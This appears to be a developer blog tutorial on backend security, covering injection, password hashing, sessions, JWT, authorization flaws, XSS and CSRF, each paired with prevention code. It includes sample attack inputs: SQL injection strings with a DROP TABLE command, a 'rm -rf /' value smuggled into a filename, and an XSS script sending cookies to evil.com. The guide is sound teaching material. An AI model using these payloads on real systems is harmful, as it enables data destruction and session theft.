Security is not a feature added after development. It is a design principle applied throughout system architecture, coding, and deployment.
Modern backend systems interact with browsers, databases, operating systems, APIs, and third-party services. Each interaction creates a trust boundary, and vulnerabilities appear when untrusted data crosses these boundaries without validation or control.
This guide explains the most important backend security concepts, how they are exploited, and how to prevent them using modern practices used in production systems.
Security Mindset: Think Like an Attacker
Attackers do not care about your framework or programming language. Their main question is:
What assumption did the developer make that I can break?
Common developer assumptions:
- Users send valid input
- Requests only come from the frontend
- API parameters will not be modified
- IDs cannot be guessed
- Cookies cannot be stolen
Attackers systematically break these assumptions.
When writing backend code, ask:
- Where does user input enter the system?
- Which system will interpret this input?
- Can the input change the meaning of code or commands?
Injection Attacks
Injection vulnerabilities occur when user input is interpreted as executable code instead of plain data.
Backend systems interact with multiple languages:
- SQL for database queries
- Shell commands for OS operations
- HTML and JavaScript for browser rendering
- JSON APIs
- XML or LDAP queries
If user input crosses these contexts improperly, injection attacks occur.
SQL Injection
SQL Injection occurs when user input is directly concatenated into SQL queries.
Vulnerable Example
app.post("/login", async (req, res) => {
const { email } = req.body;
const query = `SELECT * FROM users WHERE email='${email}'`;
const result = await db.query(query);
res.json(result.rows);
});
If an attacker sends:
' OR '1'='1
The query becomes:
SELECT * FROM users WHERE email='' OR '1'='1'
This condition is always true, returning all users.
Destructive Injection
Attackers can also execute multiple SQL commands.
Input:
'; DROP TABLE users; --
Resulting query:
SELECT * FROM users WHERE email='';
DROP TABLE users;
This deletes the entire table.
SQL Injection Prevention
Always use parameterized queries.
Secure Example
const query = "SELECT * FROM users WHERE email = $1";
const result = await db.query(query, [email]);
Benefits:
- Query structure is separated from data
- User input cannot change SQL logic
- Prevents execution of injected SQL
Additional practices:
- Use ORM frameworks (Prisma, Sequelize, TypeORM)
- Apply strict input validation
- Restrict database permissions
NoSQL Injection
NoSQL databases are also vulnerable.
Vulnerable Code
const user = await User.findOne({
email: req.body.email,
password: req.body.password
});
Attacker input:
{
"email": {"$ne": null},
"password": {"$ne": null}
}
The query becomes:
email != null AND password != null
Authentication may succeed.
Prevention
- Validate request schemas
- Reject operators from user input
- Use schema validation libraries like Zod or Joi
Command Injection
Command injection occurs when user input is passed into shell commands.
Vulnerable Example
const { exec } = require("child_process");
exec(`ffmpeg -i input.mp4 ${filename}`);
If attacker sends:
output.mp4; rm -rf /
Command becomes:
ffmpeg -i input.mp4 output.mp4; rm -rf /
This can delete server files.
Prevention
Use argument arrays instead of shell execution.
const { spawn } = require("child_process");
spawn("ffmpeg", ["-i", "input.mp4", filename]);
User input is passed as data, not interpreted as shell commands.
Authentication Security
Authentication verifies who the user is.
Weak authentication enables account takeover, data theft, and financial fraud.
Password Storage
Incorrect Approach
Storing plaintext passwords.
password: "123456"
If the database leaks, all accounts are compromised.
Password Hashing
Passwords must be hashed.
Example using bcrypt:
import bcrypt from "bcrypt";
const hashedPassword = await bcrypt.hash(password, 12);
Verification:
const valid = await bcrypt.compare(password, storedHash);
Salting
Hashing alone is vulnerable to rainbow table attacks.
Salting adds randomness before hashing.
password + randomSalt → hashedPassword
Modern libraries like bcrypt and Argon2 automatically handle salts.
Recommended algorithms:
- Argon2id
- bcrypt
- scrypt
Avoid:
- MD5
- SHA256
These are too fast for password protection.
Slow Hashing
Password hashing should be intentionally slow.
Example:
bcrypt.hash(password, 12)
Typical hashing delay:
100–500 milliseconds
This is acceptable for users but extremely expensive for brute-force attackers.
Session Management
After authentication, users should not re-enter passwords on every request.
Sessions solve this.
Session Workflow
- User logs in
- Server generates session ID
- Session stored in database or Redis
- Session ID stored in cookie
- Each request verifies the session
Example cookie:
session_id=abc123xyz
Secure Cookie Configuration
HttpOnly
Prevents JavaScript access.
HttpOnly
Protects against XSS token theft.
Secure
Ensures cookies are sent only via HTTPS.
Secure
Prevents network interception.
SameSite
Controls cross-site cookie usage.
Options:
- Strict
- Lax
- None
Recommended:
SameSite=Lax
JWT Authentication
JWT enables stateless authentication.
Example payload:
{
"sub": "user123",
"role": "admin",
"iat": 171234567
}
The token is signed with a secret key.
JWT Security Concerns
- Revocation is difficult
- Payload is readable (Base64 encoded)
- Token theft allows impersonation
Secure JWT Practices
- short token expiration (5–15 minutes)
- refresh tokens
- store tokens in HttpOnly cookies
- rotate refresh tokens
Rate Limiting
Without rate limiting attackers can:
- brute force passwords
- overload servers
Rate Limiting Layers
Per IP:
10 login attempts / minute
Per account:
5 failed attempts → temporary lock
Global limits:
100 login attempts per minute
Common implementations:
- Redis counters
- API gateway limits
- Cloudflare protections
Authorization Security
Authentication verifies identity.
Authorization determines what actions are allowed.
Most backend breaches occur due to authorization mistakes.
Broken Object Level Authorization (BOLA)
Occurs when users access resources belonging to other users.
Example endpoint:
GET /orders/1002
Vulnerable Query
SELECT * FROM orders WHERE id = 1002
Secure Query
SELECT * FROM orders
WHERE id = 1002
AND user_id = currentUser
Broken Function Level Authorization
Occurs when restricted functionality is exposed.
Example:
GET /admin/users
Protection:
if (user.role !== "admin") {
return res.status(403).send("Forbidden");
}
Authorization Attack Types
Horizontal Privilege Escalation
User accesses other users' data.
Example:
/users/2/profile
Vertical Privilege Escalation
User gains higher privileges.
Example:
/admin/deleteUser
Cross-Site Scripting (XSS)
XSS occurs when malicious JavaScript executes inside another user's browser.
Example payload:
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie)
</script>
Types of XSS
Stored XSS
Malicious script stored in database.
Reflected XSS
Script embedded in URL parameters.
DOM XSS
Client-side scripts manipulate unsafe data.
XSS Prevention
Escape user input:
escapeHTML(userInput)
Sanitize HTML using libraries like DOMPurify.
Content Security Policy example:
Content-Security-Policy: script-src 'self'
CSRF (Cross-Site Request Forgery)
CSRF tricks a browser into sending authenticated requests.
Example attack:
POST /transfer
amount=1000
Browser automatically includes session cookies.
CSRF Protection
- SameSite cookies
- CSRF tokens
- strict CORS rules
Modern browsers mitigate many CSRF cases by default.
Security Misconfiguration
Many breaches occur due to configuration errors.
Secret Management
Never store secrets in source code.
Incorrect:
const DB_PASSWORD = "mypassword";
Correct:
process.env.DB_PASSWORD
Use secret managers such as:
- AWS Secrets Manager
- Hashicorp Vault
- GCP Secret Manager
Debug Mode in Production
Debug logs may expose:
- stack traces
- database queries
- credentials
Always disable debug logging in production.
Security Headers
Important headers:
Content-Security-Policy
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Tools like Helmet.js configure these automatically.
Secure Backend Architecture Checklist
A strong security model uses multiple defensive layers.
Key layers include:
- strict input validation
- parameterized database queries
- secure authentication
- strict authorization checks
- security headers
- monitoring and logging
- rate limiting
Interview Preparation: Key Questions
What is SQL Injection?
Injection of malicious SQL due to improper input handling. Prevention is parameterized queries.
Authentication vs Authorization
Authentication verifies identity. Authorization determines permissions.
Why use bcrypt or Argon2?
They are slow hashing algorithms designed to resist brute-force attacks.
What is BOLA?
Broken Object Level Authorization allows users to access resources belonging to other users.
Sessions vs JWT
Sessions
- stateful
- server stores session data
- easy revocation
JWT
- stateless
- client stores token
- harder revocation
Final Takeaway
Most backend vulnerabilities occur when data crosses trust boundaries without validation or access control.
Always consider:
- Is this input trusted?
- What system will interpret it?
- What happens if the input is malicious?
Security is not about memorizing attacks.
It is about designing systems that assume attackers exist.
Top comments (0)
Some comments may only be visible to logged-in visitors. Sign in to view all comments.